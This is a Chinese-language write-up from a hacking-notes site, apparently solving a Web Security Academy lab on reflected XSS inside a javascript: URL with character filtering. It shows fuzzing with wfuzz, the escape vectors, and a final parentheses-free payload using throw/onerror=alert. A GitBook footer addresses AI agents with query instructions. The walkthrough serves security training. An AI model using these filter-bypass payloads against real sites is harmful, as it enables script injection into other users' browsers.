> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/xss-in-javascript-url-with-limited-characters.md).

# 在字符受限的 JavaScript URL 中的 XSS

### JavaScript URL 中的反射型 XSS，部分字符被阻止

#### 目标

使用一个反射型 XSS 漏洞于一个 `JavaScript：` 用于显示的 URL `alert` 包含 `1337` 字符串（该 `1337` 字符串必须出现在消息中的某处）。

应用会在一个 JavaScript URL 中反射我们的输入。乍一看，这个挑战似乎很简单，但应用会过滤某些字符以防止 XSS 攻击。我们必须找到一种方法，在这些限制下逃离 JavaScript 上下文并触发 `alert(...)` 包含 `1337`.

<figure><img src="/files/a63e55b5de043f45f6db7c809567e7ff890edf18" alt=""><figcaption></figcaption></figure>

#### 观察到的源代码分析

在源代码中你可以找到以下链接：

{% code overflow="wrap" %}

```javascript
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1'}).finally(_ => window.location = '/')">返回博客</a>
```

{% endcode %}

对 URL 解码后得到：

{% code overflow="wrap" %}

```javascript
<a href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=1'}).finally(_ => window.location = '/')">返回博客</a>
```

{% endcode %}

点击 Back to Blog 会执行这个 JavaScript URL。通过拦截请求，我们看到发起了对 `/analytics`的有趣路径。 `postId` 参数取自 URL（`/post?postId=...`）并反射到分析查询的请求体中。

<figure><img src="/files/8a118142bd7557bb346bf3f09542efba3d066752" alt=""><figcaption></figcaption></figure>

#### 首次尝试——解析中断

<figure><img src="/files/e056252b9457ab1c0a56e6434f65bc43ba09fa91" alt="" width="563"><figcaption></figcaption></figure>

通过注入一个单引号，解析被破坏（ID 变为无效）：

```javascript
2'},{x:'
```

这个单引号破坏了结构，这表明该值是插入到一个引号会产生影响的上下文中。

<figure><img src="/files/8e66a1669a854f16b05a2757aa4d0dca990dc2e6" alt="" width="563"><figcaption></figcaption></figure>

#### 模糊测试特殊字符

我们快速测试了哪些特殊字符会产生有效响应（使用 `wfuzz` 以及 `special-chars.txt` 列表）。使用的示例命令：

{% code overflow="wrap" %}

```bash
wfuzz -c -w /usr/share/SecLists/Fuzzing/special-chars.txt 'https://0a530041036b803fbb5cd40a009500a8.web-security-academy.net/post?postId=2FUZZ%27},{x:%27'
```

{% endcode %}

结果表明 `&` 和 `#` 会返回 200 状态码——它们被解析器接受，并允许插入能够正确闭合结构的序列。

<figure><img src="/files/736d30a4eab1901db89d45515ea5085ab5043f0a" alt="" width="563"><figcaption></figcaption></figure>

观察到的解释：

```javascript
post?postId=2&
```

<figure><img src="/files/3272b372c9ecbd2cdb91453c1d7757268449634f" alt=""><figcaption></figcaption></figure>

#### 逃逸向量的构造

通过正确闭合该值并插入代码，你可以得到：

```javascript
post?postId=2&'},{x:''
```

<figure><img src="/files/8aec02dfbb3a63868520f20d3d11dc30268ad884" alt=""><figcaption></figcaption></figure>

这里 `x` 保持为空，语法被接受。

然后我们尝试直接添加一个 `alert` ：

```javascript
post?postId=2&'},alert(1),{x:''
```

但是 `()` 来自 `alert(1)` 的括号会被过滤器移除——因此你必须绕过必须使用 `()`.

<figure><img src="/files/06d3b0a65a3720f8237a5bc0449cff13538d7865" alt=""><figcaption></figcaption></figure>

#### 无需括号的变形

可以避免使用括号，并使用更巧妙的 JavaScript 表达式来调用 `alert` 替换为 `1337` 在输出中。最终使用的载荷是：

```javascript
2&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window%2b'',{x:'
```

<figure><img src="/files/92102f526f4ebc0389d1678ed8b8d37b7782277b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/xss-in-javascript-url-with-limited-characters.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
